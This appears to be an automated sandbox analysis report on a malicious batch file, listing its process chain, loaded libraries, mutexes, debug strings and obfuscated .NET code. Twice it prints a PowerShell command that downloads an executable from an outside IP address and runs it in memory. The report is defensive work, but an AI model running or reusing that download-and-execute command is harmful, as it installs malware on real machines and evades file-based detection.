Source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, Knvbl.cs Base64 encoded string: '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
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, k3OF0YwAGzqXKgFkCjaDk.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, k3OF0YwAGzqXKgFkCjaDk.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, k3OF0YwAGzqXKgFkCjaDk.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, k3OF0YwAGzqXKgFkCjaDk.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: classification engine Classification label: mal100.troj.expl.evad.winBAT@11/14@0/2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4740:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6504
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Mutant created: \Sessions\1\BaseNamedObjects\kw88tYYFuNbOm2LW
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmezouij.ymt.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\cmd.bat" "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\cmd.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command $client = New-Object System.Net.WebClient; $client.Headers.Add('fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y', 'VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4'); $data = $client.DownloadData('http://147.45.44.42/boom/rcvjtk.exe'); [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @())
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE20.tmp" "c:\Users\user\AppData\Local\Temp\zxf44tui\CSC5EE972E128AE4289AF6E4B8451FF7C59.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6504 -s 1656
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command $client = New-Object System.Net.WebClient; $client.Headers.Add('fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y', 'VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4'); $data = $client.DownloadData('http://147.45.44.42/boom/rcvjtk.exe'); [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @()) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE20.tmp" "c:\Users\user\AppData\Local\Temp\zxf44tui\CSC5EE972E128AE4289AF6E4B8451FF7C59.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: avicap32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: msvfw32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: \??\C:\Windows\mscorlib.pdb|>. source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Drawing.pdb|*Yw source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Configuration.pdb` source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb% source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.pdbhP source: powershell.exe, 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: Microsoft.VisualBasic.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Core.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb< source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: o.pdb!_ source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.ni.pdbRSDSw source: WERC99F.tmp.dmp.12.dr
Source: Binary string: mscorlib.pdb246122658-3693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdbPr source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\MSBuild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbpdblib.pdb_ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb9\ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WERC99F.tmp.dmp.12.dr
Source: Binary string: o0C:\Windows\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbH source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\exe\MSBuild.pdb4^ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Windows.Forms.pdbL source: WERC99F.tmp.dmp.12.dr
Source: Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbF4 source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdbi source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: symbols\dll\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.pdb source: powershell.exe, 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb` source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Configuration.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: C:\Windows\MSBuild.pdbpdbild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdbRSDS source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Configuration.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Xml.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: %%.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.Windows.Forms.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\MSBuild.pdb,>~ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3961672556.0000000006247000.00000004.00000020.00020000.00000000.sdmp, WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Core.pdby source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Management.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Drawing.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Core.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Management.pdbH source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\exe\MSBuild.pdbW source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.PDB" source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdbRSDS source: WERC99F.tmp.dmp.12.dr

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Pn6mEA0X2Drjiff7R2xi4._4lHkqtm0Nm3SjxzsltE9p,Pn6mEA0X2Drjiff7R2xi4.GjMvJCKiyng5rMu2ar7zX,Pn6mEA0X2Drjiff7R2xi4.j9PIHNSENPOKlkBtm9Gtf,Pn6mEA0X2Drjiff7R2xi4._5uS7FEa3twKfHt1zHxQkM,W91Z8WxFS7CNWE7zWXXgw.haYi2Lq7yyS4xPsdJ07Gjc9NRBm0RfsvQIVLVC1A9eiQMLlopihih()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{y31y9rMOAsYT4hVOJhCHf[2],W91Z8WxFS7CNWE7zWXXgw.rr7ByV1uIWB0iuMCJaLrwOaYVqfOtV1A6aGEmEwBQU29y8RMPIj4d(Convert.FromBase64String(y31y9rMOAsYT4hVOJhCHf[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Pn6mEA0X2Drjiff7R2xi4._4lHkqtm0Nm3SjxzsltE9p,Pn6mEA0X2Drjiff7R2xi4.GjMvJCKiyng5rMu2ar7zX,Pn6mEA0X2Drjiff7R2xi4.j9PIHNSENPOKlkBtm9Gtf,Pn6mEA0X2Drjiff7R2xi4._5uS7FEa3twKfHt1zHxQkM,W91Z8WxFS7CNWE7zWXXgw.haYi2Lq7yyS4xPsdJ07Gjc9NRBm0RfsvQIVLVC1A9eiQMLlopihih()}}, (string[])null, (Type[])null, (bool[])null, true)
